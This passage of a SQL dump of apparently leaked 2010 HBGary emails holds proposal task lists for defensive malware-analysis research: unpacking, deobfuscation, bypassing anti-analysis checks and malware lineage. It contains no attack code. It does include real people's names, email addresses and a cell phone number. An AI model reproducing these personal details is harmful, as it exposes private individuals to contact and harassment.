rewrite the binary\'s header toset the OEP and rebuild import tables.&nbsp; We will also develop staticanalysis and instrumentation techniques to identify and bypassunnecessary suicide logic.&nbsp;We will use provenance analysis techniques to track malware executionprogress and classify malware based on functionalities.&nbsp; We willcategorize system egress points (subsequently called sinks) throughwhich data leakage can occur. Only interfaces with a channel bandwidthabove a predefined threshold will be considered. Similarly, aclassification of sensitive data sources will be assembled. Functionalelements in malware (such as keyloggers, filesystem drivers, Webbrowser plugins) that serve to redirect data flows from data sourcesto sinks will be identified based on the capabilities ofco-proposers. A taxonomy of data flow will be constructed, organizingthe above three classes into a coherent framework. Using the taxonomy,the presence of malware functional elements can be combined withobserved data access patterns to guide inferences about high-levelmalware intent.&nbsp;We will assume that malware unpacking and analysis has revealed whichfunctional elements are present. Access patterns generated by hostapplications in controlled environments will be compared to accesspatterns of the application with the malware embedded. The difference inpatterns will be mapped to functional elements. Based on the functionalelement type and guided by the taxonomy, we will infer which data mayhave leaked or been compromised.&nbsp;Tracking provenance at the system call API levelcaptures process level data dependency which may yield falsepositives. By leveraging the control flow graph of the malware, thedependency analysis can be refined.&nbsp; We will utilize this to improvethe precision of identifying data that may be leaked or compromised bythe malware.&nbsp;Innovative Claims: Statically Informed Binary Reconstruction,Provenance Tracking&nbsp;Deliverables:- Malware execution binary recontructor- Taxonomy of data sources, malware functional elements, and sinks.- Software component that takes as input data provenance traces and&nbsp; unctional element descriptions and outputs conjectured goals of&nbsp; malware.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5221,'aaron_hbgary_com/5221.html'),(3645,'2010-03-07','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001843.M619657P3547Q3646.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Task List Edits for Pikewerks with schedule','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, see below for the task\r\nlist we set up for Pikewerks for technical area #1.&nbsp; Let me know if you\r\nhave any questions.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nTo: Upchurch, Jason R.; Rodriguez, Harold; Harlow, Douglas M.; Vela,\r\nRyan; Larson, Cindy S.\r\nCc: Wilson, Ben N.; Kipper, Gregory A.\r\nSubject: Task List Edits for Pikewerks with schedule\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTask\r\nList Edits for Pikewerks: 7 Tasks, with schedule for Tasks 1 - 5\r\n\r\n&nbsp;\r\n\r\nTask\r\n1\r\n\r\nPikewerks\r\nshall develop improved and multi-perspective malware capture capabilities\r\nincluding next generation honeynets, and capture capabilities for non-Windows\r\noperating systems.&nbsp; The goal of the research is to identify common attack\r\nvectors used by malware authors to compromise non-Windows systems.&nbsp; The\r\ngoal of the research will be to assess and document the malware threat to\r\nnon-Windows operating systems and improve the overall diversity of the malware\r\nbinary collections.\r\n\r\n&nbsp;\r\n\r\nYear\r\n1 (months 0- 6) prototype malware collection system\r\n\r\n&nbsp;\r\n\r\nYear\r\n1 (months 6-12) refine development, delivery of system and collected malware\r\n\r\n&nbsp;\r\n\r\nYear\r\n2-EOP (Months 3, 6, 9, 12 ) Deliver collected malware\r\n\r\n&nbsp;\r\n\r\nYear\r\n2 -EOP (Months 3, 6, 9, 12) Maintenance and report of maintenance in period.\r\n\r\n&nbsp;\r\n\r\nYear\r\n2-EOP (Month 12) Provide a report characterizing the malware threat to\r\nnon-Windows operating systems\r\n\r\n&nbsp;\r\n\r\nTask\r\n2\r\n\r\nPikewerks\r\nshall research and develop capabilities to extract malicious code from memory in\r\nnon-Windows operating systems (Linux and Mac OSX).&nbsp; The extraction shall\r\noccur in such a way as to ensure the code is complete, i.e., if the code was\r\nput back into memory on an identical system and started at the OEP, the code\r\nwould run without errors and include all functionality.&nbsp; The goal of this\r\nresearch will be to assess and document different techniques for accomplishing\r\nthis goal and for overcoming obfuscation and software protection methods that\r\nmight neutralize efforts to extract malware on non-Windows operating systems.\r\n\r\n&nbsp;\r\n\r\nYear\r\n1 (months 0- 6) prototype binary extraction from memory for Linux and Mac OSX\r\nsystems\r\n\r\n&nbsp;\r\n\r\nYear\r\n2 (months 0 - 12) refine development to include overcoming software protection\r\ntechniques and other obfuscation techniques\r\n\r\n&nbsp;\r\n\r\nTask\r\n3\r\n\r\nPikewerks\r\nshall provide research support to SRI and other team members to defeat suicide\r\nlogic embedded in malicious binaries running in non-Windows operating\r\n\r\nsystems.&nbsp;\r\nPikewerks will review the design proposals of other team members to determine\r\nhow innovative ideas for neutralizing suicide logic and obfuscation techniques\r\ncan be applied to non-Windows operating systems.&nbsp; The goal of this\r\nresearch is to identify and neutralize techniques used by malware authors to\r\nimpede or terminate the reverse engineering and analysis process.\r\n\r\n&nbsp;\r\n\r\nYear\r\n1 (months 0- 6) Study and report on applicability of existing and\r\n\r\nproposed\r\ncapabilities in the Linux and Mac OSX space.\r\n\r\n&nbsp;\r\n\r\nYear\r\n2 (months 0 - 12) Develop concept prototype for suicide and\r\n\r\nobfuscation\r\nremoval for Linux and Mac OSX operating systems\r\n\r\n&nbsp;\r\n\r\nTask\r\n4\r\n\r\nPikewerks\r\nshall provide research support to construct malware lineage trees by extracting\r\nmalware artifacts and relating them in the correlation database, &nbsp;which\r\ncan help identify provenance of digital artifacts and improve understanding of\r\nmalware evolution. Pikewerks shall coordinate with other teams members involved\r\nto determine if existing generalization techniques can be applied to malicious\r\ncode found on non-Windows operating systems.&nbsp; After selecting an existing\r\ntechnique or after developing a technique with the support of team members,\r\nPikewerks will apply this research to malicious code found on non-Windows\r\noperating systems.\r\n\r\n&nbsp;\r\n\r\nYear\r\n1 research viability, paper as deliverable\r\n\r\n&nbsp;\r\n\r\nYear\r\n2, IDA or other tool plug-in prototype\r\n\r\n&nbsp;\r\n\r\nYear\r\n3, stand alone prototype\r\n\r\n&nbsp;\r\n\r\nTask\r\n5\r\n\r\nPikewerks\r\nshall research malware trigger discovery, with support of technologies from\r\nGDAIS and/or other teammates to determine runtime requirements to automate the\r\nexecution of malware in non-windows environments.&nbsp; Different applications,\r\nnetwork protocols for file sharing, and operating system access control methods\r\nwill be studied to identify malware triggers specific to non-Microsoft\r\noperating systems.\r\n\r\n&nbsp;\r\n\r\nYear\r\n1 (months 0- 6) Study and report on applicability of existing and proposed\r\ncapabilities in the Linux and Mac OSX space.\r\n\r\n&nbsp;\r\n\r\nYear\r\n2 (months 0 - 12) Develop concept prototype for triggering malware execution in\r\nthe Linux and Mac OSX operating systems\r\n\r\n&nbsp;\r\n\r\nTask\r\n6\r\n\r\nPikewerks\r\nshall provide sample or generated indicators and traits for integration into\r\nthe correlation database as needed for visualization and POC demonstration.\r\n\r\n&nbsp;\r\n\r\nTask\r\n7\r\n\r\nPikewerks\r\nshall provide research support to GDAIS and other team members in the creation\r\nof a unified indicators and traits dataset for use in malware correlation.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3207,'aaron_hbgary_com/3207.html'),(3646,'2010-03-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001843.M848856P3547Q3647.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Great Reference to Responder','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4131,'aaron_hbgary_com/4131.html'),(3647,'2010-03-06','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001843.M92931P3547Q3644.eml','\"Aaron Barr\" <aaron@hbgary.com>','FYI: Details from SRI - tech area #1','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, as soon as I hear back\r\nfrom SRI regarding their breakdown for the newly added SRI Task #0 below I will\r\nsend this information to you as well.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\nCell: 571-216-6140\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Saturday, March 06, 2010 6:31 PM\r\nTo: \'Phil Porras\'; \'Vinod Yegneswaran\'; Hassen Saidi\r\nCc: Upchurch, Jason R.; Vela, Ryan; Harlow, Douglas M.\r\nSubject: ACTION NEEDED: Details from SRI - tech area #1\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPhil, Vinod, Hassen, we\r\ninadvertently left off one SRI task for tech area #1 in what we sent you\r\nearlier to review.&nbsp; See Task #0 below (this is the one inadvertently left\r\noff), with the other tasks you have seen below it.\r\n\r\n&nbsp;\r\n\r\nCould you estimate, as you did\r\nwith the other tasks, the year to year breakdown of how you would approach Task\r\n#0.&nbsp; Can you add this below (just a few lines) and send this information\r\nback to me as soon as possible (tonight or early Sunday)?&nbsp; Thanks!\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\nCell: 571-216-6140\r\n\r\n&nbsp;\r\n\r\nP.S. in task #0, &#8220;cyber\r\ngenome&#8221; = Full code extraction; &nbsp;&#8220;cyber chromosome&#8221;=\r\nFunction Signatures\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSubject: Details SRI - tech area\r\n#1\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n1.1.0&nbsp; Task 0\r\n\r\n&nbsp;\r\n\r\nSRI shall research novel techniques in function\r\nabstraction for use in cyber genetic sequencing.&nbsp; The goal of this\r\nresearch is to abstract functions within software code to produce abstract cyber\r\nchromosomes that are independent of mutations caused by specific compiler\r\nmethods and optimization.&nbsp; The long term goal of this research is to\r\nexamine if abstraction during cyber genome sequencing is more\r\nadvantageous than compensating for mutations caused by compiler specific\r\nmethods and optimizations after sequencing.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.1&nbsp; Task 1\r\n\r\n&nbsp;\r\n\r\nSRI shall develop improved and multi-perspective malware\r\ncapture capabilities including next generation honeynets, and capture\r\ncapabilities for client-side malware, email-borne malware, and malware embedded\r\nin P2P networks. The goal of this research is to improve the diversity of the\r\nmalware binary collection sources.\r\n\r\n&nbsp;\r\n\r\nYear 1 (months 0- 6) prototype malware collection system\r\n\r\nYear 1 (months 6-12) refine development, delivery of system and\r\ncollected malware\r\n\r\nYear 2-EOP (Months 3, 6, 9, 12 ) Deliver collected malware\r\n\r\nYear 2 &#8211;EOP (Months 3, 6, 9, 12) Maintenance and report of\r\nmaintenance in period.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.2 Task 2\r\n\r\n&nbsp;\r\n\r\nSRI shall develop novel and scalable automated unpacking\r\ntechniques for malware including dealing with multiply-packed malware and\r\ndynamic code not mapped to process memory. The goal of this research is to\r\ncover a large number of packing technologies.\r\n\r\n&nbsp;\r\n\r\nYear 1 research methods for unpacking/deobfusction, delivery of\r\nresearch paper at end of period.\r\n\r\nYear 1, concept prototype \r\n\r\nYear 2 &#8211; 3, refine de-obfuscation research and develop a\r\nprototype to cover a large number of packing technologies.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.3&nbsp; Task 3\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research in the area of executable reconstruction\r\nfrom disk based malware or malware memory extractions.&nbsp; The goal of the\r\nresearch is to return code extracted from memory or code that has been\r\nobfuscated into an un-obscured executable file.&nbsp; This work includes but is\r\nnot limited to, extracting executables from process or full memory dumps,\r\nde-obfuscating packed malware, automatically rebuilding import tables,\r\nautomatically locating and restoring the original entry point, rebuilding\r\nmalicious dll code to stand alone executables, and removing obfuscation and\r\nanti-analysis techniques such as chunking and suicide logic. The longer term\r\nobjective of this work is to enable the statically-informed binary execution or\r\npath exploration.\r\n\r\n&nbsp;\r\n\r\nYear 1, paper and concept prototype as deliverable\r\n\r\nYear 2, refinement of research, paper and prototype deliverable\r\n\r\nYear 3 &#8211; EOP Path exploration , year 3 paper and concept\r\nprototype, year 4 paper and prototype\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.4&nbsp; Task 4\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research support in the use of\r\nde-compilation as a litmus test to determine if machine code has been\r\nobfuscated.&nbsp; SRI shall coordinate with other team members involved in the\r\ncode extraction segment of the project to apply this research to specific\r\nobfuscation problems encountered in code extraction.\r\n\r\n&nbsp;\r\n\r\nYear 1 research viability, paper as deliverable\r\n\r\nYear 2, IDA or other tool plug-in prototype\r\n\r\nYear 3, stand alone prototype\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.5 Task 5\r\n\r\n&nbsp;\r\n\r\nSRI shall develop a combination of Bayesian and\r\nprobabilistic algorithms and algorithms from computational biology to create\r\nlineage trees to identify the provenance of digital artifacts and improve\r\nunderstanding of software evolution. The goal of this research is to enable the\r\ninformed and automated malware forensic clustering.\r\n\r\n&nbsp;\r\n\r\nYear 1, study existing\r\nalgorithms for viability in this information space, deliver paper\r\n\r\nYear 2, deliver prototype POC\r\n\r\n\r\nYear 3, refinement and\r\nprototype.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.6&nbsp; Task 6\r\n\r\n&nbsp;\r\n\r\nSRI shall develop techniques based on computational\r\nbiology gene sequence alignment algorithms involving the use of\r\nerror-correcting codes, infinite sites evolution, and Markov models of mutation\r\nto automatically deobfuscate code independent of what obfuscation techniques\r\nwere applied to the code.\r\n\r\n&nbsp;\r\n\r\nYear 1, evaluate viability of algorithms used in computational\r\nbiology for use in this information space, deliver paper\r\n\r\nYear 2, develop concept prototype system\r\n\r\nYear 3, develop prototype system\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.7 Task 7\r\n\r\n&nbsp;\r\n\r\nSRI shall develop taxonomy for data leakage based on\r\ncategorization of system egress points, classification of sensitive data\r\nsources and functional elements in malware to guide inferences about high-level\r\nmalware intent. The goal of this research is to enable behavioral malware\r\nclassification based on provenance taxonomy and tracking access patterns for\r\nhost applications. SRI will also combine taint analysis and provinence analysis\r\nto improve and guide multipath exploration.\r\n\r\n&nbsp;\r\n\r\nYear 1, providence prototype on Linux system, deliver concept\r\nprototype\r\n\r\nYear 2, providence analysis migration to MS systems, deliver\r\nconcept prototype\r\n\r\nYear 3, integrate providence analysis and UCB taint analysis,\r\ndeliver concept prototype\r\n\r\nYear 4, Integrate multipath exploration research into providence\r\nand taint research, deliver concept prototype\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.8&nbsp;&nbsp; Task 8\r\n\r\n&nbsp;\r\n\r\nSRI shall provide support for associated meetings, reporting,\r\ndemonstrations and presentations.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSRI&nbsp; Research Thrust Contributions\r\n\r\n&nbsp;\r\n\r\n1.&nbsp; Malware Comparison and Lineage Trees\r\n\r\n&nbsp;\r\n\r\nHorizontal Malware Analysis is an analysis technique\r\nand a tool SRI\r\n\r\ndeveloped to enable automated static analysis of a\r\nlarge corpus of\r\n\r\nmalware in a scalable way.&nbsp; A core capability\r\nof the horizontal\r\n\r\nmalware analysis tool is its ability to produce a\r\ncorrespondence\r\n\r\nbetween unpacked disassemblies of different pieces\r\nof malware, which\r\n\r\nwe refer to as a malcode mapping.&nbsp; Our\r\nalgorithm consists of three\r\n\r\nsteps: \r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp; Step 1 - Multi-level hashing: A variety\r\nof features have been\r\n\r\nconsidered in the literature for comparing malcodes.\r\nOur approach\r\n\r\nincorporates five features, two of which are at the\r\nsubroutine level\r\n\r\nand three others are the basic block level.&nbsp; We\r\nconsider hashes of\r\n\r\nsubroutine prototoypes, subroutine instruction classes,\r\n\r\ninstructions,complete blocks without offsets, and\r\ncomplete blocks.&nbsp; *\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 2 - Mapping: Here we produce\r\na correspondence between the\r\n\r\nbasic blocks of two different malware code sequences\r\nfor which\r\n\r\nthe multi-level hashes have already been computed.&nbsp;\r\nWe formulate\r\n\r\nmapping as a minimization problem. The goal is to\r\nproduce a\r\n\r\nmapping between the basic blocks that minimizes the\r\ntotal cost.\r\n\r\nThere is one obvious constraint: two basic blocks\r\ncan be matched\r\n\r\nto each other only if the subroutines they are in\r\nare also\r\n\r\nmatched to each other.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 3 - Alignment: The goal of\r\nalignment is to linearize the\r\n\r\nmapping and isolate subroutines that exhibit\r\ndifferences.&nbsp; We\r\n\r\nalso provide a visualization system that color codes\r\nbasic\r\n\r\nblocks and presents the data in a visually\r\ndescriptive way to\r\n\r\nthe human analyst.\r\n\r\n&nbsp;\r\n\r\nThe mapping process above yeilds a way to assign a\r\nnumerical matching\r\n\r\nscore to any pair of malware disassemblies, i.e.,\r\nthe cost of the\r\n\r\noptimal matching produced by the mapping.&nbsp;\r\nHaving determined distances\r\n\r\nbetween any pair of a set of artifacts, we propose\r\nto use one of\r\n\r\nseveral phylogenetic algorithms which can be applied\r\nto construct a\r\n\r\nmalware lineage tree relating the artifacts in the\r\nset, \r\n\r\nwhich can help identify provenance of digital\r\nartifacts and\r\n\r\nimprove understanding of malware\r\nevolution.&nbsp;&nbsp; Briefly, these algorithms\r\n\r\nencompass\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Distance-based measurement:\r\nThis uses simple distance measures, as \r\n\r\ndetermined above,&nbsp; to build trees by, e.g.\r\nneighbor joining.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum likelihood\r\nmeasurement: This algorithm builds trees that \r\n\r\nmaximize the probability of the data.&nbsp; It is\r\nespecially suited to be \r\n\r\ncombined with Markov models.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum parsimony\r\nmeasurement: This algorithm is similar to maximum \r\n\r\nlikelihood but instead seeks to minimize the total\r\nnumber of changes in\r\n\r\nthe tree.\r\n\r\n&nbsp;\r\n\r\nAs we can expect malware to come from different\r\nsources, we would need\r\n\r\nseveral disjoint lineage trees to represent the\r\nentire data set.&nbsp; For\r\n\r\na given, substantial set of artifacts, we expect the\r\nresult to be a\r\n\r\nset of disjoint trees which, in total, represent the\r\nentire set.&nbsp; We\r\n\r\nintend to use clustering techniques to partition the\r\noverall set of\r\n\r\nartifacts into disjoint subsets, where each cluster\r\nwill have an\r\n\r\nassociated lineage tree.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Horizontal Malware Analysis;\r\nPhylogentic algorithms \r\n\r\nfor malware lineage tree consturction\r\n\r\n&nbsp;\r\n\r\nDeliverables: \r\n\r\n- HMA Comparison System\r\n\r\n- Quantitative comparison study of lineage trees\r\nacross multiple algorithms\r\n\r\n- Delivery of a software component integrating\r\nlineage trees with HMA\r\n\r\n&nbsp;\r\n\r\n2. Malware Unpacking and Call Site Resolution\r\n\r\n&nbsp;\r\n\r\nSRI will use its Eureka unpacking technology to\r\nautomatically recover\r\n\r\nunpacked executable images from packed\r\nbinaries.&nbsp; Eureka implements a\r\n\r\ncoarse-grained execution tracking strategy that\r\nallows for efficient\r\n\r\nmonitoring of malware execution progress.&nbsp; A\r\nmemory snapshot is\r\n\r\ntriggered by its hypothesis testing algorithm when\r\nseveral criteria\r\n\r\nare satisfied. These criteria includes the number of\r\nsystem calls,\r\n\r\nprocess execution time, a bigram count indicating a\r\nsharp increase of\r\n\r\nthe code to data ratio, or specific system calls\r\nsuch as process fork\r\n\r\nor terminate process. &nbsp;\r\n\r\n&nbsp;\r\n\r\nWe will develop binary evaluation metrics with the\r\npurpose of\r\n\r\nassessing the quality of the unpacked code and\r\nrerunning the Eureka\r\n\r\nunpacker if necessary to obtain a more complete\r\nunpacked code. SRI\r\n\r\nwill implement its speculative API resolution\r\nalgorithm to\r\n\r\nautomatically resolve call sites.&nbsp; SRI will\r\ndeliver the post unpacking\r\n\r\nanalysis capability as an add on to the Eureka framework\r\nto enable\r\n\r\nfurther analysis and classification of malware.\r\n\r\n&nbsp;\r\n\r\nWe also plan on developing additional criteria that\r\ndetermine the optimal\r\n\r\nmoment for taking a memory snapshot of the running\r\nprocess and\r\n\r\nrecovering the original entry point.&nbsp; We will\r\nalso investigate novel\r\n\r\nways of hiding Eureka from being detected by the\r\nrunning binary to\r\n\r\navoid triggering suicide logic.&nbsp; We will also\r\nexplore\r\n\r\nsnapshot-stitching techinques for dealing with\r\nmulti-stage packers and\r\n\r\nblock encryption.&nbsp; SRI will deliver new unpacking\r\ntechnology that will\r\n\r\ncover a large number of existing packing technology.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Application of hypthesis testing\r\nand bigram analysis,\r\n\r\nspeculative api resolution, snapshot stitching, \r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n- Automated system for malware unpacking and API\r\nresolution\r\n\r\n&nbsp;\r\n\r\n3.&nbsp; Malware Deobfuscation to Enable Static\r\nAnalysis\r\n\r\n&nbsp;\r\n\r\nSRI will build automated ways of recognizing\r\nobfuscated code and\r\n\r\nidentifying the obfuscation steps that have been\r\nemployed to hinder\r\n\r\nautomated analysis. SRI will then provide automated\r\nways of\r\n\r\nsystematically undoing the work of obfuscators to\r\nrestore the binary\r\n\r\nto an equivalent but unobfuscated form. This will be\r\ndone by using\r\n\r\nbinary rewriting techniques. To validate the binary\r\nrewrite step, we\r\n\r\nwill use decompilation tools to recover a high-level\r\nC and C++ source\r\n\r\ncode of the binary code. By assessing the quality of\r\nthe source code,\r\n\r\nwe can assess the quality of our deobfuscation steps\r\nand can improve\r\n\r\nit accordingly. SRI will deliver a binary rewriting\r\ntool and the\r\n\r\ncorresponding deobfuscation rewrite rules.\r\n\r\n&nbsp;\r\n\r\nWe propose to adapt and evaluate existing techniques\r\nfrom\r\n\r\ncomputational biology to the problem of malware\r\ndeobfuscation. \r\n\r\nIn particular we use CB techinques to tackle the\r\nproblem of comparing \r\n\r\nobfuscated malware code segments.\r\n\r\n&nbsp;\r\n\r\nError Correcting Codes (ECC):&nbsp; We note that for\r\nevery\r\n\r\nobfuscation technique used in digital artifacts,\r\nthere is an ECC which\r\n\r\nmitigates the effect of the obfuscation.&nbsp; By\r\nusing such codes, we can\r\n\r\nin effect make one digital artifact resemble another\r\nto an arbitrary\r\n\r\ndegree of accuracy and thus, we can determine the\r\ndegree of original\r\n\r\nsimilarity.\r\n\r\n&nbsp;\r\n\r\nInfinite Sites (IS): The IS evolution model makes it\r\nalgorithmically\r\n\r\ntractable to determine a series of changes that\r\ncould transform one\r\n\r\nartifact into another.&nbsp; The number and nature\r\nof the mutations\r\n\r\nrepresents a distance between the two artifacts.\r\n\r\n&nbsp;\r\n\r\nMalware Markov Models (MM): If we know the\r\nprobability of different\r\n\r\nobfuscation types (which could be determined by data\r\nmining a set of\r\n\r\nartifacts), we can build a Markov model that\r\ntransforms any artifact\r\n\r\ninto any other and calculate a probability of that\r\ntransformation.\r\n\r\nOnce again, this probability represents distance\r\nbetween the two\r\n\r\nartifacts.\r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n&nbsp;\r\n\r\n- Ida plugin for deobfuscating basic malware transformations\r\n\r\n&nbsp;\r\n\r\n- Quantitative comparison study of two or more of\r\nthese techniques\r\n\r\napplied to a small set of obfuscated malware.\r\n\r\n&nbsp;\r\n\r\n- Larger scale evaluation and delivery of a software\r\ncomponent \r\n\r\nthat efficiently compares similarity between\r\nobfuscated malware\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n4. Statically Informed Malware Execution and\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nThe origin entry point of the malware binary is\r\nusually not known at\r\n\r\nthis point.&nbsp; We will employ novel approaches to\r\ndetermine the OEP in\r\n\r\nthe captured memory image of the process.&nbsp; We will\r\nthen automatically\r\n\r\nrewrite the binary\'s header to set the OEP and\r\nrebuild import tables.\r\n\r\nWe will also develop automated techniques for\r\ninformed reconstruction\r\n\r\nof malware binaries to enable execution and bypass\r\nsuicide logic.SRI\r\n\r\nwill use the output from static analysis of malware\r\nsamples to enable\r\n\r\nguided executions of unpacked binaries.&nbsp; An\r\nimportant first step\r\n\r\ntoward this end is transforming automatically\r\nunpacked binaries to\r\n\r\nrunning executables for example by fixing the origin\r\nentry point,\r\n\r\nreconstructing import tables and removing suicide\r\nchecks.&nbsp; We will\r\n\r\nemploy novel approaches to determine the OEP in the\r\ncaptured memory\r\n\r\nimage of the process and automatically rewrite the\r\nbinary\'s header to\r\n\r\nset the OEP and rebuild import tables.&nbsp; We will\r\nalso develop static\r\n\r\nanalysis and instrumentation techniques to identify\r\nand bypass\r\n\r\nunnecessary suicide logic.\r\n\r\n&nbsp;\r\n\r\nWe will use provenance analysis techniques to track\r\nmalware execution\r\n\r\nprogress and classify malware based on\r\nfunctionalities.&nbsp; We will\r\n\r\ncategorize system egress points (subsequently called\r\nsinks) through\r\n\r\nwhich data leakage can occur. Only interfaces with a\r\nchannel bandwidth\r\n\r\nabove a predefined threshold will be considered.\r\nSimilarly, a\r\n\r\nclassification of sensitive data sources will be\r\nassembled. Functional\r\n\r\nelements in malware (such as keyloggers, filesystem\r\ndrivers, Web\r\n\r\nbrowser plugins) that serve to redirect data flows\r\nfrom data sources\r\n\r\nto sinks will be identified based on the\r\ncapabilities of\r\n\r\nco-proposers. A taxonomy of data flow will be constructed,\r\norganizing\r\n\r\nthe above three classes into a coherent framework.\r\nUsing the taxonomy,\r\n\r\nthe presence of malware functional elements can be\r\ncombined with\r\n\r\nobserved data access patterns to guide inferences\r\nabout high-level\r\n\r\nmalware intent.\r\n\r\n&nbsp;\r\n\r\nWe will assume that malware unpacking and analysis\r\nhas revealed which \r\n\r\nfunctional elements are present. Access patterns\r\ngenerated by host \r\n\r\napplications in controlled environments will be\r\ncompared to access \r\n\r\npatterns of the application with the malware\r\nembedded. The difference in \r\n\r\npatterns will be mapped to functional elements.\r\nBased on the functional \r\n\r\nelement type and guided by the taxonomy, we will\r\ninfer which data may \r\n\r\nhave leaked or been compromised.\r\n\r\n&nbsp;\r\n\r\nTracking provenance at the system call API level\r\n\r\ncaptures process level data dependency which may\r\nyield false\r\n\r\npositives. By leveraging the control flow graph of\r\nthe malware, the\r\n\r\ndependency analysis can be refined.&nbsp; We will\r\nutilize this to improve\r\n\r\nthe precision of identifying data that may be leaked\r\nor compromised by\r\n\r\nthe malware.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Statically Informed Binary\r\nReconstruction, \r\n\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nDeliverables:\r\n\r\n- Malware execution binary recontructor\r\n\r\n- Taxonomy of data sources, malware functional\r\nelements, and sinks.\r\n\r\n- Software component that takes as input data\r\nprovenance traces and \r\n\r\n&nbsp; unctional element descriptions and outputs\r\nconjectured goals of \r\n\r\n&nbsp; malware. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2141,'aaron_hbgary_com/2141.html'),(3648,'2010-03-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001844.M248047P3547Q3649.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Task List Edits from HBGary','What we have to price.Begin forwarded message:From: \"Upchurch, Jason R.\" &lt;jason.upchurch@gd-ais.com&gt;Date: March 5, 2010 12:25:00 PM ESTTo: \"Starr, Christopher H.\" &lt;Chris.Starr@gd-ais.com&gt;, \"Rodriguez, Harold\" &lt;Harold.Rodriguez@gd-ais.com&gt;, \"Harlow, Douglas M.\" &lt;Douglas.Harlow@gd-ais.com&gt;, \"Vela, Ryan\" &lt;Ryan.Vela@gd-ais.com&gt;, \"Larson, Cindy S.\" &lt;Cindy.Larson@gd-ais.com&gt;Cc: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Task List Edits from HBGary&nbsp;&nbsp;From:&nbsp;Starr, Christopher H.&nbsp;Sent:&nbsp;Friday, March 05, 2010 8:53 AMTo:&nbsp;Upchurch, Jason R.; Rodriguez, Harold; Harlow, Douglas M.; Vela, Ryan; Larson, Cindy S.Cc:&nbsp;Wilson, Ben N.; Kipper, Gregory A.Subject:&nbsp;Task List Edits from HBGary&nbsp;Task List Edits from HBGary:&nbsp;Provide the research and development of memory and malware analysis techniques to achieve correlation between malware that share traits or disassembled code.&nbsp; This includes developing and refining signatures of code sequences within software that are of value for correlation techniques.Year 1, establish basis of research, proof of concept on use of trait correlationMonth 0 - 6 develop function extraction methodologies of linear execution spaceMonth 6 – 12 develop function correlation methodologies of linear execution spaceYear 1 – 2 Refine function extraction methods and develop automation of methodologiesYear 3 – EOP expand function extraction and correlation to full execution spaceProvide research and development of function extraction methods from disassembled code based on previous work with Automated Run-Time Disassembly techniques.&nbsp;Year 3 